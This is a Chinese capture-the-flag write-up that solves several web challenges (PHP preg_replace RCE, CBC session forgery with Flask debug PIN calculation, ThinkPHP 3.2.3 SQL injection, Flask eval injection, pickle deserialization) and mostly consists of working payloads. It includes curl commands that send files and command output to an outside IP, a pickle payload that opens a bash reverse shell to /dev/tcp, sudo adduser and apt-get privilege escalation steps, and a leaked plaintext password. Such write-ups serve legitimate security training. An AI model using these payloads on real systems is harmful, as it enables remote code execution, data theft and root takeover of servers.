Please_RCE_Me
考点
preg_replace设置e参数第二个参数导致代码执行
RCE的技巧-无参RCE
分析
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
payload
http://hnctf.imxbt.cn:42966/?moran=flag
task=print_r(readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))))&flag=please_give_me_flaG
flag
H&NCTF{1e28b26e-1697-4fcf-bc56-98a2238359a1}
flipPin
考点
- CBC反转字节码伪造session
- flask pin码计算--读取机器码有过滤另寻他路
分析
前往/hint路由得到源码
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json
default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))
def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)
app = Flask(__name__)
filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}
@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'
@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res
@app.route("/read")
def file():
session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'
session_data = json.loads(plain_session)
if session_data['admin'] :
filename = request.args.get('filename')
if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')
try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)
开启debug,想到三点
1.触发异常获取报错详细信息
2.热加载
3.代码调试
session伪造这里,题目溯源至一场上个月的国际赛TAMUCTF2024,考察的是密码学:CBC翻转字节,只能找现成payload
#-*- coding:utf8 -*-
import base64
import urllib.parse
#iv
#{"admin": 0, "us
#ername": "guest"
#}
cipher = base64.b64decode("NCmjYxxz3E/SArHSZ8r+IvlpVSbEbdXyAk31lv4HQct6sJWqo6UHiOMkVMtLX1sjxN22u5mGp8jiv8Sf362fvA==")
print(len(cipher))
array_cipher = bytearray(cipher)
iv = array_cipher[0:16]
print(iv)
decode_plain = '{"admin": 0, "username": "user1"}'
#原始明文
plain = '{"admin": 1, "us'
newiv = list(iv)
for i in range(0,16):
newiv[i] = (ord(plain[i].encode('utf-8')) ^ iv[i] ^ ord(decode_plain[i].encode('utf-8')))
newiv = bytes(newiv)
print('newiv:',base64.b64encode(newiv+cipher[16:]))
NCmjYxxz3E/SArDSZ8r+IvlpVSbEbdXyAk31lv4HQct6sJWqo6UHiOMkVMtLX1sjxN22u5mGp8jiv8Sf362fvA==
读/etc/passwd:用户名:ctfUser
读取/sys/class/net/eth0/address:
mac地址:ae:33:4c:1f:9d:05
---去掉冒号-> 191535343705349
/etc/machine-id
读不到,那么就是/proc/sys/kernel/random/boot_id
和/proc/self/cgroup
拼接了
下面说一下过滤问题 https://blog.csdn.net/qq_35782055/article/details/129126825
/proc/sys/kernel/random/boot_id和/proc/1/cpuset读出来拼接
读/proc/sys/kernel/random/boot_id:
dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f
读/proc/1/cpuset:
/kubepods/burstable/pod4f8b5fb0-d85f-4570-ab6f-b54c78429d4d/67588d3f2842dce5e658fce877331c0c89770c170c6292f73089ddd5d4ffe4c1
只取67588d3f2842dce5e658fce877331c0c89770c170c6292f73089ddd5d4ffe4c1
exp:
import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'191535343705349', # /sys/class/net/eth0/address mac地址十进制
'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f67588d3f2842dce5e658fce877331c0c89770c170c6292f73089ddd5d4ffe4c1'
# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id /proc/self/cgroup
# 有machine-id 那就拼接machine-id + /proc/self/cgroup 否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#131-882-222
import os
os.popen('env').read()
flag
H&NCTF{636a1e59-82d8-430f-b0ac-d8e5d6f1eb40}
ez_tp
考点
thinkphp3.2.3sql注入漏洞 断点调试判断header触发waf改用python发包
分析
有附件,开题如下
在ThinkPHP/ThinkPHP.php判断版本为3.2.3
const THINK_VERSION = '3.2.3';
在/ThinkPHP/Conf/convention.php下判断路由模式
也就是http://hnctf.imxbt.cn:21477/index.php/home/index/h_n?这种
在/App/Home/Controller/IndexController.class.php下:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
header("Content-type:text/html;charset=utf-8");
echo '装起来了';
}
public function h_n(){
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) { //用来处理上传的文件,它将上传的文件内容读取为字符串,并将字符串内容替换为 "virink",然后将替换后的字符串重新写入到临时文件中
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug //移除请求头中的 Accept 字段
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}
$name = I('GET.name');
$User = M("user");
if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}
}
}
原理分析+代码审计之后专门写文章,这里不再赘述
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可,单引号闭合
payload:
http://hnctf.imxbt.cn:21477/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag
这里下断点调试哪个header触发了waf(备忘1),用python发包绕过
import requests
res = requests.get(url = "http://hnctf.imxbt.cn:21477/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag")
print(res.text)
flag
H&NCTF{Cjp_267cae96-e3cb-4728-a037-d58ace5ce001}
ezFlask
考点
- 代码注入
- 出网情况下,curl -T filename ip:port外带文件内容
- 无回显curl命令执行|base64编码外带
分析
开题
当前路径ls
cmd=__import__("os").system("curl 114.132.250.144:8080/`ls`")
拿源码
cmd=__import__("os").system("curl -T app.py 114.132.250.144:8080")
from flask import Flask, request, abort, render_template_string , config
from jinja2 import Template
import os
import shutil
import re
app = Flask(__name__)
# 路由可用性标志
routes_enabled = {
'Adventure': True
}
eval('__import__("os").popen("sh /start.sh").read()')
eval('__import__("os").popen("chmod -R 000 /app/static/").read()')
eval('__import__("os").popen("rm -rf /bin/mkdir").read()')
eval('__import__("os").popen("rm -rf /bin/touch").read()')
eval('__import__("os").popen("rm -rf /bin/cp").read()')
eval('__import__("os").popen("rm -rf /bin/mv").read()')
eval('__import__("os").popen("rm -rf /bin/curl").read()')
eval('__import__("os").popen("rm -rf /bin/ping").read()')
eval('__import__("os").popen("rm -rf /bin/wget").read()')
if 'GZCTF_FLAG' in os.environ:
del os.environ['GZCTF_FLAG']
@app.route('/')
def index():
return ('冒险即将开始!!!\n'
'请移步/Adventure路由进行命令执行,后端语句为:\n'
' cmd = request.form[\'cmd\']\n'
' eval(cmd)\n'
'注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag\n'
'执行无回显,目录没权限部分命令ban,也不要想着写文件~\n')
@app.route('/Adventure', methods=['POST'])
def rce():
if routes_enabled.get('Adventure', False):
# 获取POST请求中的cmd参数
cmd = request.form['cmd']
try:
bash_pattern = r'(bash|[-]c|[-]i|[-]d|dev|tcp|http|https|base|echo|YmFzaCA|bas|ash|ba\"\"sh|ba\'\'sh|ba\'sh|ba\"sh)'
# 检查是否反弹shell
if bool(re.search(bash_pattern, cmd)):
return "亲亲这边不支持反弹shell哦~", 200
eval(cmd)
eval('__import__("os").popen("rm -rf /app/static/").read()')
# 编码后正则
pattern = [
r'@app\.route',
r'ZnJvbSBmbGFzay',
r'%40app.route',
r'\x40\x61\x70\x70\x2e\x72\x6f\x75\x74\x65',
r'@ncc\.ebhgr',
r'etuor\.ppa@',
r'\u0040\u0061\u0070\u0070\u002e\u0072\u006f\u0075\u0074\u0065',
r'from flask import Flask',
r'from%20flask%20import%20Flask',
r'\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x46\x6c\x61\x73\x6b',
r'\u0066\u0072\u006f\u006d\u0020\u0066\u006c\u0061\u0073\u006b\u0020\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u0046\u006c\u0061\u0073\u006b',
r'sebz synfx vzcbeg Synfx',
r'from flask import Flask',
r'ksalF tropmi ksalf morf',
r'flag',
r'galf',
]
pattern = '|'.join(pattern) # 将列表合并为一个正则表达式字符串
# 检查是否匹配
if bool(re.search(pattern, eval(cmd))):
return "不要想着读取源码哦~", 200
# 关闭路由
routes_enabled['Adventure'] = not routes_enabled['Adventure']
with open('/etc/jaygalf', 'r') as source_file:
content = source_file.read()
with open('/flag', 'w') as target_file:
target_file.write(content)
eval('__import__("os").popen("rm -rf /app/static/").read()')
return f"Success! 但是不回显嘻嘻", 200
except Exception as e:
if re.search(r"View function mapping is overwriting an existing endpoint function: (\w+)", str(e)):
routes_enabled['Adventure'] = not routes_enabled['Adventure']
with open('/etc/jaygalf', 'r') as source_file:
content = source_file.read()
with open('/flag', 'w') as target_file:
target_file.write(content)
return f"恭喜师傅,是预期解!!!!", 200
return f"Error executing command: {e}", 400
else:
abort(403) # 如果路由被禁用,则返回403禁止访问
if __name__ == '__main__':
app.run(debug=False,host='0.0.0.0', port=9035)
看到这样一段代码
with open('/etc/jaygalf', 'r') as source_file:
content = source_file.read()
with open('/flag', 'w') as target_file:
target_file.write(content)
return f"恭喜师傅,是预期解!!!!", 200
会把flag写进/etc/jaygalf
方法一:同样curl -T外带文件内容
payload:
cmd=__import__("os").system("curl -T /etc/jaygalf 114.132.250.144:8080")
方法二:
payload:
cmd=__import__("os").system("curl 114.132.250.144:8080/`cat /etc/jaygalf|ba''se64`")
ZmxhZ3thMGUzZjcxOS1jOGIyLTQ4YjAtODczYy1hNWU3ZDhjOTY1MTd9Cg==
flag{a0e3f719-c8b2-48b0-873c-a5e7d8c96517}
flag
flag{a0e3f719-c8b2-48b0-873c-a5e7d8c96517}
GoJava
分析
信息泄露robots.txt得到
User-agent: *
Disallow: ./main-old.zip
User-agent: *
Disallow: ./main.go
访问/main-old.zip得到源码
package main
import (
"io"
"log" "mime/multipart" "net/http" "os" "strings")
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)
// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}
func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}
// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()
if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()
// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}
return nil
}
代审,环境关了不复现了
GPTS
分析
开题有点懵逼没思路,如果作为出题人,AI的web漏洞我会出最新的cve
去搜搜到CVE-2024-31224
https://nvd.nist.gov/vuln/detail/CVE-2024-31224
开题进来,没有cookie(平台的别看
然后界面外观--->自定义菜单--->创建自定义功能区按钮
看到成功生成能够pickle反序列化的cookie
查看文章里的payload,calc改成反弹shell即可
import base64
import pickle
def from_cookie_str(c):
# Decode the base64-encoded string and unpickle it into a dictionary
pickled_dict = base64.b64decode(c.encode("utf-8"))
return pickle.loads(pickled_dict)
opcode=b'''cos
system
(S'calc'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
from_cookie_str(opcode)
import base64
import pickle
def from_cookie_str(c):
# Decode the base64-encoded string and unpickle it into a dictionary
pickled_dict = base64.b64decode(c.encode("utf-8"))
return pickle.loads(pickled_dict)
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/114.132.250.144/8080 0>&1"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
//Y29zCnN5c3RlbQooUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzExNC4xMzIuMjUwLjE0NC84MDgwIDA+JjEiJwp0Ui4=
拿到shell:
拿到shell,首先第一步信息收集
这里我们先对用户ctfgame进行信息收集
首先上传Linpeas进行信息收集或者用命令列举可读取文件
命令列举可读取文件
find / -type f -user ctfgame -readable 2>/dev/null
上传Linpeas进行信息收集
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
在这里发现var/mail/ctfgame
查看其中内容
From root,
To ctfgame(ctfer),
You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.
This is the last chance, please take care of your security, I helped you reset your account password.
ctfer : KbsrZrSCVeui#+R
I hope you cherish this
得到一个用户的用户名和密码
ctfer : KbsrZrSCVeui#+R
切换用户到ctfer
执行sudo -l,发现可以免密执行adduser命令
参考文章https://cloud.tencent.com/developer/article/1786586中的apt-get提权
因为可以免密执行adduser命令,添加一个root组的用户
从而达到执行cat /etc/sudoers的目的
sudo adduser starven -gid=0
发现有kobe用户存在/apt-get因此可以利用apt-get提权
将kobe加入root组
sudo adduser kobe -gid=0
然后apt-get提权
sudo -S apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
要使用sudo运行带密码的命令这样写:
sudo -S command
-S选项告诉sudo要求用户输入密码。运行这条命令时,会提示输入密码,然后执行command
flag
H&NCTF{6ea7c13e-e7df-4294-bed8-684d69d4abac}
Comments | NOTHING